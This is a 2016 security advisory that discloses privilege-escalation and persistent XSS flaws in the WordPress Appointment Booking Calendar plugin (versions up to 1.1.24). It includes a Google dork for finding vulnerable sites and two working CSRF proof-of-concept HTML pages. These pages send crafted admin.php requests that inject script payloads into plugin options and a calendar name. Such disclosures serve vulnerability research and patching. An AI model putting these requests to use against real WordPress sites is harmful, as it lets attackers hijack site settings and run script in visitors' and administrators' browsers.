WordPress Appointment Booking Calendar 1.1.24 Escalation / XSS

🗓️ 28 Jan 2016 00:00:00Reported by Joaquin Ramirez MartinezType

packetstorm🔗 packetstormsecurity.com👁 34 Views

WordPress Appointment Booking Calendar 1.1.24 Privilege Escalation & Persistent XS

`# Exploit Title: WordPress appointment-booking-calendar <=1.1.24 - Privilege escalation (Managing calendars) & Persistent XSS  
# Date: 2016-01-28  
# Google Dork: Index of /wordpress/wp-content/plugins/appointment-booking-calendar/  
# Exploit Author: Joaquin Ramirez Martinez [ i0 security-lab]  
# Software Link: http://wordpress.dwbooster.com/calendars/booking-calendar-contact-form  
# Vendor: CodePeople.net  
# Vebdor URI: http://codepeople.net  
# Version: 1.1.24  
# Tested on: windows 10 + firefox + sqlmap 1.0.  
  
===================  
PRODUCT DESCRIPTION  
===================  
"Appointment Booking Calendar is a plugin for **accepting online bookings** from a set of **available time-slots in   
a calendar**. The booking form is linked to a **PayPal** payment process.  
  
You can use it to accept bookings for medical consultation, classrooms, events, transportation and other activities  
where a specific time from a defined set must be selected, allowing you to define the maximum number of bookings   
that can be accepted for each time-slot."  
  
(copy of readme file)  
  
  
======================  
EXPLOITATION TECHNIQUE  
======================  
remote  
  
==============  
SEVERITY LEVEL  
==============  
  
medium  
  
================================  
TECHNICAL DETAILS && DESCRIPTION  
================================  
  
Multiple privilege escalation were found in appointment-booking-calendar plugin that allows remote low level  
and unauthenticated users to update calendar owners and options (allowing persistent XSS).  
  
================  
PROOF OF CONCEPT  
================  
  
Changing all appointment tables with UTF-8 charset, injecting persistent XSS into ´ict´ and ´ics´ options and setting  
´CPABC_APPOINTMENTS_LOAD_SCRIPTS´ option to value ´1´.  
  
<html>  
<!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->  
<body>  
<script>  
function submitRequest()  
{  
var xhr = new XMLHttpRequest();  
xhr.open("GET", "http://localhost:80/wordpress/wp-admin/admin.php?page=cpabc_appointments&ac=st&chs=UTF-8&ict=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&ics=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&scr=1", true);  
xhr.send();  
}  
</script>  
<form action="#">  
<input type="button" value="Submit request" onclick="submitRequest();" />  
</form>  
</body>  
</html>  
  
  
Updating calendar with id 1 and setting name with persistent XSS (if the shortcode [CPABC_APPOINTMENT_CALENDAR calendar="1"]   
is added in a post, the injected XSS will appear, in administration page appear too).  
  
<html>  
<!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->  
<body>  
<script>  
function submitRequest()  
{  
var xhr = new XMLHttpRequest();  
xhr.open("GET", "http://localhost:80/wordpress/wp-admin/admin.php?page=cpabc_appointments&u=1&owner=5&name=%3C%2Foption%3E%3C%2Fselect%3E%3Cimg+src%3Dx+onerror%3Dalert%28%2Fjoaquin%2F%29%3E%3C", true);  
xhr.send();  
}  
</script>  
<form action="#">  
<input type="button" value="Submit request" onclick="submitRequest();" />  
</form>  
</body>  
</html>  
  
==========  
CREDITS  
==========  
  
Vulnerability discovered by:  
Joaquin Ramirez Martinez [i0 security-lab]  
joaquin.ramirez.mtz.lab[at]yandex[dot]com  
https://www.facebook.com/I0-security-lab-524954460988147/  
https://www.youtube.com/user/strparser_lk  
  
  
========  
TIMELINE  
========  
  
2016-01-08 vulnerability discovered  
2016-01-24 reported to vendor  
`

28 Jan 2016 00:00Current